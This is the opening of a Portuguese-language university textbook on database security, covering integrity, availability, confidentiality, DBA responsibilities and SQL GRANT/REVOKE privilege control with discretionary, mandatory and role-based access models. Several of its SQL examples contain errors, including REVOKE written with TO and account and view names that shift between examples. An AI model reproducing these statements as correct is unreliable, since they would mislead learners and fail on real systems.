Você está na página 1de 202

Segurança em Banco

de Dados

Sagah Educação S.A.

Indaial – 2021
1a Edição
Elaboração:
Sagah Educação S.A

Revisão, Diagramação e Produção:


Centro Universitário Leonardo da Vinci – UNIASSELVI

Conteúdo produzido Copyright © Sagah Educação S.A.

Impresso por:
Apresentação
Caro acadêmico! Estamos iniciando o estudo da disciplina Segurança
em Banco de Dados. Este livro é um dos instrumentos que contribuirá para
a sua aprendizagem. A abordagem do livro é sobre conceitos importantes
pertinentes às arquiteturas dos sistemas gerenciadores de bancos de dados,
utilizando-os para a garantia da segurança e integridade às informações
armazenadas.

No decorrer deste livro, você será apresentado a diversos componentes


inerentes aos bancos de dados, bem como suas possibilidades para garantir
a segurança dos dados armazenados. Estudaremos cada componente de
forma independente. Com a utilização de todos de modo integrado você será
capaz de garantir a segurança do banco de dados.

Na Unidade 1, você será introduzido a uma visão geral sobre segurança


em banco de dados, reconhecendo os principais problemas de segurança em
dados, e, a partir deles, criará estruturas de segurança, utilizando controle de
acesso, gerenciamento de usuários e aplicando configurações de privilégios.

Na Unidade 2, compreenderemos que existem recursos para mitigar


caso haja problemas de invasão, tornando-se indispensável a criação de
backups. Será nesta unidade também que você aprenderá sobre um dos
ataques de invasão mais comum no que se refere aos bancos de dados na
Web, o SQL Injection.

Na Unidade 3, partiremos para uma visão da estrutura de um


sistema gerenciador de banco de dados, utilizando recursos de tuning para
garantir uma boa performance do banco de dados, bem como a aplicação de
criptografia para reforçar a segurança dos dados armazenados.

Aproveitamos a oportunidade para destacar a importância de


desenvolver as autoatividades, lembrando que essas atividades não são
opcionais. Elas objetivam a fixação dos conceitos apresentados. Em caso de
dúvida, na realização das atividades, sugerimos que você entre em contato
com seu tutor externo ou com a tutoria da UNIASSELVI, não prosseguindo
as atividades sem ter sanado todas as dúvidas.

Bons estudos!
NOTA

Você já me conhece das outras disciplinas? Não? É calouro? Enfim, tanto para
você que está chegando agora à UNIASSELVI quanto para você que já é veterano, há
novidades em nosso material.

Na Educação a Distância, o livro impresso, entregue a todos os acadêmicos desde 2005, é


o material base da disciplina. A partir de 2017, nossos livros estão de visual novo, com um
formato mais prático, que cabe na bolsa e facilita a leitura.

O conteúdo continua na íntegra, mas a estrutura interna foi aperfeiçoada com nova
diagramação no texto, aproveitando ao máximo o espaço da página, o que também
contribui para diminuir a extração de árvores para produção de folhas de papel, por exemplo.

Assim, a UNIASSELVI, preocupando-se com o impacto de nossas ações sobre o ambiente,


apresenta também este livro no formato digital. Assim, você, acadêmico, tem a possibilidade
de estudá-lo com versatilidade nas telas do celular, tablet ou computador.
 
Eu mesmo, UNI, ganhei um novo layout, você me verá frequentemente e surgirei para
apresentar dicas de vídeos e outras fontes de conhecimento que complementam o assunto
em questão.

Todos esses ajustes foram pensados a partir de relatos que recebemos nas pesquisas
institucionais sobre os materiais impressos, para que você, nossa maior prioridade, possa
continuar seus estudos com um material de qualidade.

Aproveito o momento para convidá-lo para um bate-papo sobre o Exame Nacional de


Desempenho de Estudantes – ENADE.
 
Bons estudos!
LEMBRETE

Olá, acadêmico! Iniciamos agora mais uma disciplina e com ela


um novo conhecimento.

Com o objetivo de enriquecer seu conhecimento, construímos, além do livro


que está em suas mãos, uma rica trilha de aprendizagem, por meio dela você terá
contato com o vídeo da disciplina, o objeto de aprendizagem, materiais complementares,
entre outros, todos pensados e construídos na intenção de auxiliar seu crescimento.

Acesse o QR Code, que levará ao AVA, e veja as novidades que preparamos para seu estudo.

Conte conosco, estaremos juntos nesta caminhada!


Sumário
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E
ADMINISTRADOR DE BASE DE DADOS......................................................... 1

TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO.............................................................. 3


1 INTRODUÇÃO..................................................................................................................................... 3
2 PROBLEMAS DE SEGURANÇA EM BANCO DE DADOS....................................................... 7
3 LINGUAGEM DE CONTROLE DE DADOS: CONCESSÃO E REVOGAÇÃO
DE PRIVILÉGIOS................................................................................................................................. 8
4 LINGUAGEM DE CONTROLE DE DADOS: CONCESSÃO E REVOGAÇÃO
DE PRIVILÉGIOS............................................................................................................................... 12
RESUMO DO TÓPICO 1..................................................................................................................... 15
AUTOATIVIDADE............................................................................................................................... 17

TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS


NO BANCO DE DADOS............................................................................................ 19
1 INTRODUÇÃO................................................................................................................................... 19
2 USUÁRIOS, GRUPOS E VISÕES................................................................................................... 22
3 ETAPAS DE GERENCIAMENTO DE USUÁRIOS...................................................................... 25
4 POLÍTICA DE SEGURANÇA DA INFORMAÇÃO.................................................................... 27
5 USO DE SCRIPTS............................................................................................................................... 29
RESUMO DO TÓPICO 2..................................................................................................................... 38
AUTOATIVIDADE............................................................................................................................... 41

TÓPICO 3 — CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO


DE BANCO DE DADOS............................................................................................. 43
1 INTRODUÇÃO................................................................................................................................... 43
2 TECNOLOGIAS.................................................................................................................................. 45
3 PERFORMANCE................................................................................................................................. 46
4 SEGURANÇA...................................................................................................................................... 48
RESUMO DO TÓPICO 3..................................................................................................................... 50
AUTOATIVIDADE............................................................................................................................... 52

REFERÊNCIAS....................................................................................................................................... 53

UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE


E LINGUAGEM SQL .............................................................................................. 55

TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS....................................... 57


1 INTRODUÇÃO................................................................................................................................... 57
2 CÓPIA DE SEGURANÇA EM BANCO DE DADOS.................................................................. 59
3 BACKUP APLICADO AO BANCO DE DADOS......................................................................... 61
3.1 BACKUPS ON-LINE E OFF-LINE.............................................................................................. 61
3.2 BACKUPS FÍSICO E LÓGICO..................................................................................................... 62
3.3 BACKUPS COMPLETO E INCREMENTAL............................................................................. 63
3.4 ARQUIVOS DE LOG DE TRANSAÇÕES – LOGS BINÁRIOS DO MYSQL........................ 63
3.5 BACKUP COM REPLICAÇÃO EM SLAVE............................................................................... 64
3.6 BACKUP EM BANCO DE DADOS POR LINHAS DE COMANDO..................................... 65
3.7 BACKUP LÓGICO POR MYSQLDUMP.................................................................................... 67
3.8 BACKUP COMPLETO E INCREMENTAL................................................................................ 68
RESUMO DO TÓPICO 1..................................................................................................................... 70
AUTOATIVIDADE............................................................................................................................... 71

TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA


EM BANCO DE DADOS............................................................................................ 73
1 INTRODUÇÃO................................................................................................................................... 73
2 AMEAÇAS À DISPONIBILIDADE EM BANCO DE DADOS................................................. 80
3 TÉCNICAS UTILIZADAS NA ALTA DISPONIBILIDADE DE BANCO DE DADOS............ 83
4 SOLUÇÕES DE ALTA DISPONIBILIDADE E SUAS FUNCIONALIDADES...................... 88
RESUMO DO TÓPICO 2..................................................................................................................... 93
AUTOATIVIDADE............................................................................................................................... 95

TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION.................................................. 99


1 INTRODUÇÃO................................................................................................................................... 99
2 LINGUAGEM SQL BÁSICA.......................................................................................................... 104
3 SQL INJECTION............................................................................................................................... 111
RESUMO DO TÓPICO 3................................................................................................................... 114
AUTOATIVIDADE............................................................................................................................. 115

REFERÊNCIAS..................................................................................................................................... 117

UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS


E FUNÇÕES DOS BANCOS DE DADOS......................................................... 119

TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS.......................................... 121


1 INTRODUÇÃO................................................................................................................................. 121
2 DISPONIBILIDADE E BACKUP.................................................................................................. 127
3 CONTROLE DE REDUNDÂNCIA............................................................................................... 133
RESUMO DO TÓPICO 1................................................................................................................... 139
AUTOATIVIDADE............................................................................................................................. 140

TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS....................................................... 143


1 INTRODUÇÃO................................................................................................................................. 143
2 CRIPTOGRAFIA DE TRIGGERS ................................................................................................. 149
3 CRIPTOGRAFIA DE VIEWS ........................................................................................................ 156
RESUMO DO TÓPICO 2................................................................................................................... 162
AUTOATIVIDADE............................................................................................................................. 163

TÓPICO 3 — TUNING EM BANCOS DE DADOS...................................................................... 165


1 INTRODUÇÃO................................................................................................................................. 165
2 IMPORTÂNCIA DO TUNING NA MELHORIA DO DESEMPENHO DO
BANCO DE DADOS........................................................................................................................ 171
3 TIPOS DE ATIVIDADES DE TUNING EM BANCOS DE DADOS...................................... 176
LEITURA COMPLEMENTAR........................................................................................................... 184
RESUMO DO TÓPICO 3................................................................................................................... 189
AUTOATIVIDADE............................................................................................................................. 191

REFERÊNCIAS..................................................................................................................................... 193
UNIDADE 1 —

SEGURANÇA, CONTROLE,
GERENCIAMENTO E ADMINISTRADOR
DE BASE DE DADOS

OBJETIVOS DE APRENDIZAGEM
A partir do estudo desta unidade, você deverá ser capaz de:

• reconhecer problemas de segurança em banco de dados;

• definir as instruções SQL de linguagem de controle de dados para


concessão e revogação de privilégios;

• ilustrar modelos de segurança de acesso aos dados em bancos de dados


comerciais;

• descrever as etapas de gerenciamento de usuários do banco de dados;

• determinar como criar, alterar e remover usuários por meio de scripts;

• reconhecer os conceitos de gerenciamento de usuários;

• descrever o que são privilégios de um banco de dados;

• reconhecer os comandos de permissões e suas consequências;

• aplicar o uso de comandos de permissões do banco de dados e identificar


os seus desafios com relação à administração;

• aplicar comandos que auxiliam na administração do banco de dados;

• reconhecer as técnicas de administração de banco de dados e identificar


as responsabilidades do administrador destes;

• reconhecer e diferenciar os comandos SQL, que auxiliam o administrador


de banco de dados.

1
PLANO DE ESTUDOS
Esta unidade está dividida em três tópicos. No decorrer da unidade,
você encontrará autoatividades com o objetivo de reforçar o conteúdo
apresentado.

TÓPICO 1 – SEGURANÇA E CONTROLE DE ACESSO

TÓPICO 2 – GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO


BANCO DE DADOS

TÓPICO 3 – CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO DE


BANCO DE DADOS

CHAMADA

Preparado para ampliar seus conhecimentos? Respire e vamos


em frente! Procure um ambiente que facilite a concentração, assim absorverá
melhor as informações.

2
TÓPICO 1 —
UNIDADE 1

SEGURANÇA E CONTROLE DE ACESSO

1 INTRODUÇÃO
Os sistemas de gerenciamento de banco de dados (SGBDs) gerenciam
diferentes ações, que podem ser executadas em um banco de dados, como
inserção, manipulação ou exclusão de dados. No entanto, nem todos os usuários
do banco de dados necessitam – ou mesmo devem – ter acesso a todas essas
funcionalidades, tendo em vista a segurança do banco de dados. Por conta dessa
preocupação com a segurança dos dados, existem diferentes modelos e comandos
em linguagem de consulta estruturada (SQL, do inglês structured query language)
que podem ser utilizados para realizar o controle de acesso dos usuários.

Neste tópico, você estudará os possíveis problemas de segurança que


podem acontecer em bancos de dados. Você também compreenderá as instruções
SQL de linguagem de controle de dados para concessão e revogação de privilégios
de usuários, bem como os diferentes modelos de segurança de acesso a bancos de
dados comerciais

Você já parou para pensar como um banco de dados realiza o controle


de conteúdo armazenado e como cada usuário pode acessar os estes dados?
Existem várias formas de restringir o acesso e a manipulação indevida de dados
nos sistemas de gerenciamento de banco de dados (SGBDS) em SQL. Estas
configurações e operações são utilizadas para prevenir problemas na segurança
das informações – como a propagação de dados pessoais, entre eles: telefones,
CPFs de clientes (por pessoas não autorizadas) etc.

A fim de saber como manter a segurança de um banco de dados, é


necessário compreender os possíveis problemas que podem afetá-lo e, assim,
elaborar uma estratégia ou política de segurança. Para colocar em prática a
estratégia construída, são utilizadas instruções da linguagem de controle de
dados (DCL) em SQL. Por meio da DCL é possível restringir o acesso aos dados
com a concessão ou a revogação de privilégios aos usuários do sistema.

Um banco de dados precisa manter as informações armazenadas de


forma segura, para poder garantir sua integridade e disponibilidade de sigilo. A
segurança de um banco de dados é relacionada a estas três propriedades, que tratam
basicamente de manter as informações protegidas de alterações, de acesso e de
divulgação não autorizada. Por este motivo, além das operações que possibilitam
as transações e a manipulação de dados, um Sistema de Gerenciamento de Banco
de Dados (SGBD) precisa disponibilizar funções de segurança e controle de acesso.
3
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

O controle de usuários de banco de dados pode ser feito por meio de


diferentes comandos em SQL. Esses comandos garantem que cada função seja
autorizada somente aos usuários responsáveis e que necessitam do acesso
específico, a fim de garantir a segurança desses dados.

DICAS

A seguir, você conhecerá os principais comandos utilizados para a concessão


de privilégios utilizados em SQL.

FIGURA – OS PRINCIPAIS COMANDOS UTILIZADOS PARA A CONCESSÃO DE


PRIVILÉGIOS UTILIZADOS EM SQL

FONTE: O autor

4
TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO

A segurança de um banco de dados é garantida por diferentes frentes,


seja acesso à rede de dados, à segurança do sistema operacional, assim como os
acessos à base de dados possibilitados pela criação de contas aos usuários. Essas
contas devem ter restrições de acesso ou privilégios, de acordo com a necessidade
de funcionalidade de cada um no sistema.

DICAS

A seguir, você conhecerá o caso de uma loja de celulares, acompanhando os


processos de criação de novos usuários para o seu sistema de informações.

FIGURA – PROCESSO DE CRIAÇÃO DE NOVOS USUÁRIOS

5
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

FONTE: O autor

Neste tópico, você entenderá mais sobre as responsabilidades do


administrador de banco de dados, como a concessão e a retirada de privilégios de
acesso aos usuários.
6
TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO

2 PROBLEMAS DE SEGURANÇA EM BANCO DE DADOS


A segurança de um banco de dados envolve solucionar diferentes tipos de
problemas. Entre eles estão questões legais e éticas quanto ao direito de acessar
informações sigilosas. Um exemplo é a venda do acesso a informações pessoais
de clientes de um estabelecimento comercial ou de pacientes de um consultório
médico – ou, ainda, a implementação de diferentes níveis de acesso a um sistema
de informação, em que se permite acesso a determinadas funções para diferentes
usuários.

As possíveis ameaças a um banco de dados podem ser relacionadas a um


ou a todos os objetivos de segurança mais gerais: integridade, disponibilidade
e confidencialidade ou sigilo. A integridade trata da proteção da informação,
para que ela não seja modificada sem a autorização necessária ou de forma
incorreta. Já a disponibilidade é relacionada a permitir o acesso aos dados,
deixando-os disponíveis aos seus usuários devidamente registrados. Por fim,
a confidencialidade tem relação com a proteção da exposição de informações a
usuários não autorizados (ELMASRI; NAVATHE, 2010).

DICAS

A integridade é aplicada quando os estudantes possuem acesso as suas notas,


mas não podem modificá-las, por exemplo. Já a disponibilidade pode ser vista no fato de
um professor precisar alterar uma nota de um estudante e ter acesso a essa modificação.
Um exemplo de confidencialidade é um estudante não poder ter acesso para examinar
as notas dos demais estudantes, mantendo o seu sigilo (RAMAKRISHNAN; GEHRKE, 2011).

Para proteger os bancos de dados das ameaças e manter seus objetivos de


segurança, são utilizados quatro tipos de medidas de controle: controle de acesso,
controle de ingerência, controle de fluxo e criptografia. O controle de acesso é
realizado ao se criar contas de usuários e senhas para moderar o processo de
entrada a um SGBD. Já o controle de ingerência se refere ao controle de acesso a
bancos de dados estatísticos, que possibilitam interpretar informações estatísticas,
ou seja, ler resumos de dados sobre uma população ou sobre clientes de uma
empresa, por exemplo (ELMASRI; NAVATHE, 2010).

O controle de fluxo impede que informações fluam de modo descontrolado


a usuários não autorizados. Por fim, a criptografia é empregada para proteger
dados confidenciais, que precisam ser transmitidos por alguma rede de
comunicação. Ela é empregada para criptografar partes específicas de um banco
de dados, por meio de algum algoritmo de codificação, como em sistemas de
transações financeiras.

7
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

De acordo com Ramakrishnan e Gehrke (2011), é necessário definir uma


política de segurança clara e consistente para atingir os objetivos de segurança
de um banco de dados. Essa política deve descrever as medidas de segurança a
serem impostas, bem como quais partes do banco de dados devem ser protegidas
por cada uma delas. De forma complementar, os mecanismos de segurança do
SGBD e do sistema operacional, bem como os mecanismos externos, precisam
seguir essa mesma política de segurança.

Falhas na segurança do sistema operacional ou da conexão de rede podem


tornar inúteis os mecanismos de segurança de um banco de dados; por isso, eles
devem trabalhar de forma cooperativa. Por exemplo, um acesso indevido à rede
de dados de uma empresa pode possibilitar que um intruso acesse a base de
dados com acesso de administrador e, portanto, com acesso total às informações
armazenadas.

O administrador de banco de dados (DBA, do inglês data base administrator)


é o principal responsável pela administração e pelo gerenciamento de um sistema
de banco de dados. Ao DBA pertence a conta do sistema ou conta superusuário,
a qual permite todos os acessos aos dados – o que não pode ser disponibilizado a
contas de usuário comuns. Esses acessos privilegiados do DBA abrangem: criação
de conta, concessão de privilégio, revogação de privilégio e atribuição de nível de
segurança (ELMASRI; NAVATHE, 2010).

Portanto, cabe ao DBA criar contas e senhas para os grupos de usuários do


sistema, para que tenham acesso ao SGBD. Ele deve, também, conceder e revogar
privilégios especiais sobre os dados, como modificação, exclusão ou inclusão de
registros. Por fim, também é sua responsabilidade atribuir às contas de usuário
diferentes níveis de segurança.

O gerenciamento de contas e senhas em um SGBD pode ser feito por


meio de uma tabela criptografada com apenas dois campos: número ou nome
de conta e senha. Assim, sempre que for necessária a criação de uma nova conta,
um novo registro é incluído nessa tabela. Consequentemente, quando uma conta
é cancelada, o respectivo registro deve ser excluído. O SGBD também necessita
manter um registro de todas as alterações no banco de dados efetuadas por cada
usuário, durante sua sessão de acesso, para que, em caso de adulteração do banco
de dados, o DBA possa identificar qual é o usuário responsável.

3 LINGUAGEM DE CONTROLE DE DADOS: CONCESSÃO E


REVOGAÇÃO DE PRIVILÉGIOS
O método mais comum de imposição de controle de acesso a um sistema
de banco de dados se baseia na concessão e revogação de privilégios. O SGBD
deve fornecer acesso seletivo a cada relação do seu banco de dados, com base nas
contas de usuários específicos. Segundo Elmasri e Navathe (2010), existem dois
níveis principais de atribuição de privilégios para utilizar o banco de dados:
8
TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO

• o nível de conta, que trata dos acessos a dados independentemente de suas


relações; e
• o nível de relação, no qual o DBA realiza a liberação de acesso a cada relação
ou visão do banco de dados.
Os privilégios do nível de conta se aplicam às capacidades fornecidas
à própria conta e podem incluir o privilégio CREATE SCHEMA
ou CREATE TABLE, para criar um esquema ou relação da base; o
privilégio CREATE VIEW; o privilégio ALTER, para aplicar mudanças
de esquema (como a inclusão ou remoção de atributos das relações); o
privilégio DROP, para excluir relações ou visões; o privilégio MODIFY,
para inserir, excluir ou atualizar tuplas; e o privilégio SELECT, para
recuperar informações do banco de dados usando a consulta SELECT
(ELMASRI; NAVATHE, 2010, p. 567).

Nesse sentido, os privilégios do nível de conta são aplicados à conta de


maneira geral. Portanto, se uma conta não possui o privilégio CREATE TABLE,
não poderá criar nenhuma relação, bem como se não possui o privilégio SELECT,
não será capaz de recuperar dados do banco de dados por meio de consultas. Os
privilégios também podem ser aplicados em nível de relação, tanto para visões
quanto relações da base.

A concessão dos privilégios de relação costuma seguir um modelo de matriz


de acesso, em que as linhas da matriz representam sujeitos (usuários, contas ou
programas), e as colunas representam objetos (relações, registros, colunas, visões
ou operações). Assim, cada posição dessa matriz de acesso representa um nível de
privilégio, que pode ser concedido ao usuário (ELMASRI; NAVATHE, 2010).

De forma parecida aos privilégios de nível de conta, os privilégios em


nível de relação que podem ser concedidos são:

• SELECT para recuperação ou leitura;


• UPDATE, DELETE e INSERT para modificação; e
• privilégio de referências, que possibilita referir-se a uma relação ao definir
restrições de integridade.

Cada um desses privilégios pode ser restrito a atributos específicos do


banco de dados (ELMASRI; NAVATHE, 2010).

A fim de deixar claro todos os privilégios que podem ser concedidos aos
usuários de bancos de dados em SQL, apresentamos a tabela a seguir. Nela, estão
listados os privilégios e as suas respectivas descrições ou funções.

9
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

TABELA 1 – LISTA DE PRIVILÉGIOS EM SQL

FONTE: Adaptado de Cardoso e Cardoso (2012)

Veja na sequência exemplos de concessão de privilégios em SQL, nos


quais o DBA necessita criar quatro contas, A1, A2, A3 e A4, com diferentes níveis
de privilégios. Vamos conferir alguns exemplos a seguir.

• GRANT CREATE TO U1

Concede um privilégio do nível de conta, que permite criar tabelas, visões,


triggers ou banco de dados U1.

• GRANT INSERT, DELETE ON COLABORADOR, DEPARTAMENTO


TO U2;

Concede um privilégio do nível de conta, que permite à conta U2 inserir e


excluir tuplas das relações COLABORADOR e DEPARTAMENTO, mas não
permite que esses privilégios sejam repassados a outras contas.

10
TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO

• GRANT INSERT, DELETE ON COLABORADOR, DEPARTAMENTO


TO U3 WITH GRANT OPTION;

Concede um privilégio do nível de conta, que permite à conta U3 inserir e


excluir tuplas das relações COLABORADOR e DEPARTAMENTO. Além
disso, permite que esses privilégios sejam repassados a outras contas.

• GRANT SELECT ON DEPARTAMENTO TO U4;

Concede um privilégio do nível de conta, que permite à conta U4 recuperar


tuplas da relação DEPARTAMENTO, mas não permite que esses privilégios
sejam repassados a outras contas.

• REVOKE SELECT ON DEPARTAMENTO TO U4;

Revoga o privilégio de A4 de recuperar tuplas da relação DEPARTAMENTO.

• CREATE VIEW U3COLABORADOR AS SELECT Nome, Data _ Nasc,


Endereco FROM FUNCIONARIO

• WHERE Dnr = 4;

Concede um privilégio do nível de conta, que permite que a conta U3 tenha


uma capacidade limitada de SELECT na relação COLABORADOR, em que
será autorizada a recuperar apenas os atributos Nome, Data_Nasc e Endereco
para as tuplas com o Dnr = 4. Primeiro, cria-se a visão:

• GRANT SELECT ON A3 COLABORADOR TO U3 WITH GRANT


OPTION

Depois, é concedido à conta U3 o privilégio da visão, assim como o privilégio


de propagar o seu acesso à relação FUNCIONÁRIO a outras contas.

• GRANT UPDATE ON COLABORADOR (Salario) TO U4;

Concede à conta A4 o privilégio de atualizar apenas o atributo salário da


relação COLABORADOR.

Como foi possível verificar no último exemplo, o privilégio UPDATE – e da


mesma forma o INSERT – possibilita especificar atributos em particular, que
podem ser atualizados ou inseridos em uma relação. Já os privilégios SELECT
e DELETE não permitem essa especificação de atributo.

11
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

4 LINGUAGEM DE CONTROLE DE DADOS: CONCESSÃO E


REVOGAÇÃO DE PRIVILÉGIOS
Um banco de dados de uma organização possui um grande número de
informações e, geralmente, vários diferentes grupos de usuários. A maior parte
dos usuários precisa ter acesso a somente uma pequena parte específica do banco
de dados para realizar as suas atribuições. Autorizar o acesso ao banco de dados
sem restrições a todos os usuários é indesejável, principalmente em grandes
organizações. Por esse motivo, um SGBD fornece formas para controlar o acesso
aos dados.

Por exemplo, colaboradores do setor de comunicação de uma empresa


não precisam ter acesso a dados funcionais dos seus colegas – esses dados são
úteis apenas para o setor de gestão de pessoas. Por esse motivo, cada setor de
uma empresa deve possuir níveis diferentes de acesso às informações do banco
de dados, de acordo com suas necessidades, a fim de aumentar a eficiência, a
segurança e o controle de acesso.

Existem várias técnicas de controle de acesso em bancos de dados. Uma


delas é a técnica de controle de acesso discricionário, que permite conceder e
revogar privilégios em relações, sendo a forma mais utilizada em sistemas de
banco de dados relacionais. É um método explícito, no qual basicamente o
usuário tem determinado privilégio ou não tem. Essa técnica também é aplicada
em conjunto com uma política de segurança adicional, chamada de controle de
acesso obrigatório (mandatory access control). Cabe ressaltar que a maioria dos
SGBDs comerciais atuais oferece somente mecanismos para o controle de acesso
discricionário (ELMASRI; NAVATHE, 2010).

As políticas de controle de acesso discricionário (DAC) têm como


característica um alto grau de flexibilidade; por esse motivo, são adequadas a
uma variedade grande de domínios de aplicação. Contudo, como desvantagem,
o uso de modelos DAC é vulnerável a ataques maliciosos, como cavalos de Troia
embutidos em programas de aplicação. Isso porque esses modelos de autorização
não realizam um controle sobre como a informação é propagada e utilizada depois
de ter sido acessada pelos usuários autorizados (ELMASRI; NAVATHE, 2010).

Outro modelo de acesso é o de política obrigatória, que garante um alto


grau de proteção no fluxo de informações. É utilizada para aplicações militares ou
demais áreas que necessitam de um grau de proteção maior. A desvantagem da
política obrigatória é a sua rigidez, pois exige uma classificação precisa de sujeitos
e objetos nos diferentes níveis de segurança, sendo aplicada em poucos ambientes.
Por esse motivo, a política discricionária é mais empregada, pela sua facilidade de
escolha entre aplicabilidade e segurança (ELMASRI; NAVATHE, 2010).

No dia a dia de uma empresa, geralmente, os privilégios de acesso são


relacionados com o trabalho dos usuários ou o seu papel na organização. Por esse
motivo, utiliza-se o modelo de segurança de acesso de autorização baseada em papéis.
12
TÓPICO 1 — SEGURANÇA E CONTROLE DE ACESSO

Nesse modelo, os privilégios são atribuídos a papéis no SGBD. Os papéis podem ser
criados com o comando CREATE ROLE e destruídos com o comando DROP ROLE.
Assim, os usuários podem receber, revogar e também repassar papéis a outros
usuários por meio dos comandos Grant e Revoke, apresentados anteriormente
(RAMAKRISHNAN; GEHRKE, 2011). Veja na Figura 1 uma representação gráfica
da concessão de privilégios de papéis por meio do comando GRANT.

FIGURA 1 – CONCESSÃO DE PRIVILÉGIOS PARA PAPÉIS

FONTE: Adaptada de Exasol (c2020a)

Por exemplo, uma empresa pode possuir os papéis de operador de caixa,


coordenador de vendas, gerente, entre outros. Vários usuários podem ser designados
para cada um dos papéis, para que os privilégios de segurança mais comuns de
determinado papel sejam concedidos a ele e possam ser designados aos funcionários
que necessitem desses mesmos privilégios.

O controle de acesso baseado em papéis pode ser usado tanto com o


controle de acesso discricionário quanto com o obrigatório. Com seu uso, é
garantido que somente usuários autorizados em papéis específicos recebam o
acesso a determinados dados ou recursos do banco de dados, o que possibilita
que os usuários criem sessões durante as quais possam ativar um subconjunto de
papéis aos quais pertencem. Cada sessão pode ter mais de um papel atribuído, mas
é mapeada para um usuário apenas (ELMASRI; NAVATHE, 2010). Na Figura 2 é
apresentada a revogação de privilégios de papéis, utilizando o comando REVOKE.

FIGURA 2 – REVOGAÇÃO DE PRIVILÉGIOS PARA PAPÉIS

FONTE: Adaptada de Exasol (c2020b)

DICAS

Acessando o link a seguir, você pode conhecer mais conceitos e exemplos


sobre o uso do comando REVOKE, utilizado para remover privilégios de usuários. Confira
em: http://bit.ly/3b3GTyP.

13
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

Separar as tarefas é outra função importante para os SGBDs comerciais.


Essa ação é importante para impedir que um usuário realize o trabalho que
requer o envolvimento de mais pessoas, impedindo, assim, falsificações, por
exemplo. Um método utilizado para esse fim é a exclusão mútua de papéis, em
que dois ou mais papéis são definidos como mutuamente exclusivos – assim, não
podem ser utilizados ao mesmo tempo pelo mesmo usuário. Esse método pode
ser controlado de duas formas (ELMASRI; NAVATHE, 2010):

• Exclusão – em tempo de autorização, em que em nenhum momento dois


papéis podem ser utilizados simultaneamente;
• Exclusão – por tempo de execução, na qual se determina um tempo máximo.

Há ainda o controle de acesso em nível de linha, utilizado em muitos


SGBDs comerciais. Nesse modelo, regras de controle de acesso podem ser
aplicadas ao considerar dados linha por linha, em que cada linha recebe um
rótulo, que é empregado para armazenar as informações sobre a sensibilidade
dos dados. Assim, as permissões não são especificadas por tabelas ou colunas,
mas, sim, em cada linha. Para isso, o usuário recebe um rótulo de sessão padrão
com um número correspondente ao seu nível de acesso do DBA. Quanto maior o
nível de segurança, maior o número do rótulo. Portanto, usuários com um baixo
nível de autorização conseguem acessar somente dados com rótulos menores
(ELMASRI; NAVATHE, 2010).

14
RESUMO DO TÓPICO 1
Neste tópico, você aprendeu que:

• A DCL é um subconjunto da SQL. Ela é utilizada para controlar o acesso e


gerenciar permissões de usuários em bancos de dados.

• A disponibilidade trata da permissão de acesso aos dados, deixando-os


disponíveis aos seus usuários devidamente registrados. Já a integridade trata
da proteção da informação, para que ela não seja modificada sem a autorização
necessária ou de forma incorreta. E a confidencialidade (ou sigilo) tem relação
com a proteção da exposição de informações a usuários não autorizados.

• O controle de fluxo impede que informações fluam de modo descontrolado


a usuários não autorizados, enquanto a criptográfica é empregada para
proteger dados confidenciais, que precisam ser transmitidos por alguma rede
de comunicação. Já o controle de acesso é realizado ao criar contas de usuários
e senhas para moderar o processo de login pelo SGBD.

• O controle de ingerência se refere ao controle de acesso a bancos de dados


estatísticos, que possibilitam interpretar informações estatísticas, ou seja, ler
resumos de dados sobre uma população ou sobre clientes de uma empresa,
por exemplo.

• O comando GRANT é utilizado nas instruções que concedem e repassam


privilégios a usuários de um banco de dados. A sintaxe básica do uso desse
comando é: GRANT {lista de privilégios} ON {relação ou visão} TO {usuário
ou lista de usuários}.

• Ao utilizar a frase “WITH GRANT OPTION”, o usuário está sendo autorizado


a repassar este mesmo privilégio a outras contas. O privilégio SELECT concede
a permissão para realizar consultas de recuperação de dados. O privilégio
UPDATE permite atualizar dados das tabelas, no caso da questão, apenas
o atributo NOTA da relação ALUNOS à conta PROFESSOR5. O privilégio
INSERT permite incluir dados nas tabelas, e o privilégio DELETE permite
excluir dados das tabelas.

• O comando REVOKE é utilizado nas instruções que revogam privilégios a


usuários de um banco de dados. A sintaxe básica do uso desse comando é:
REVOKE {lista de privilégios} ON {relação ou visão} TO {usuário ou lista de
usuários}.

15
• ALTER permite alterar tabelas, colunas e índices. DROP permite excluir
tabelas, visões, triggers ou banco de dados. UPDATE permite atualizar dados
das tabelas. DELETE, excluir dados da tabela. USAGE, conectar ao servidor.
INDEX, adicionar ou excluir índices. CREATE, criar tabelas, visões, triggers
ou banco de dados.

• O controle de acesso baseado em papéis pode ser usado tanto com os


controles de acesso discricionário quanto obrigatório. Ele possibilita que os
usuários criem sessões durante as quais possam ativar um subconjunto de
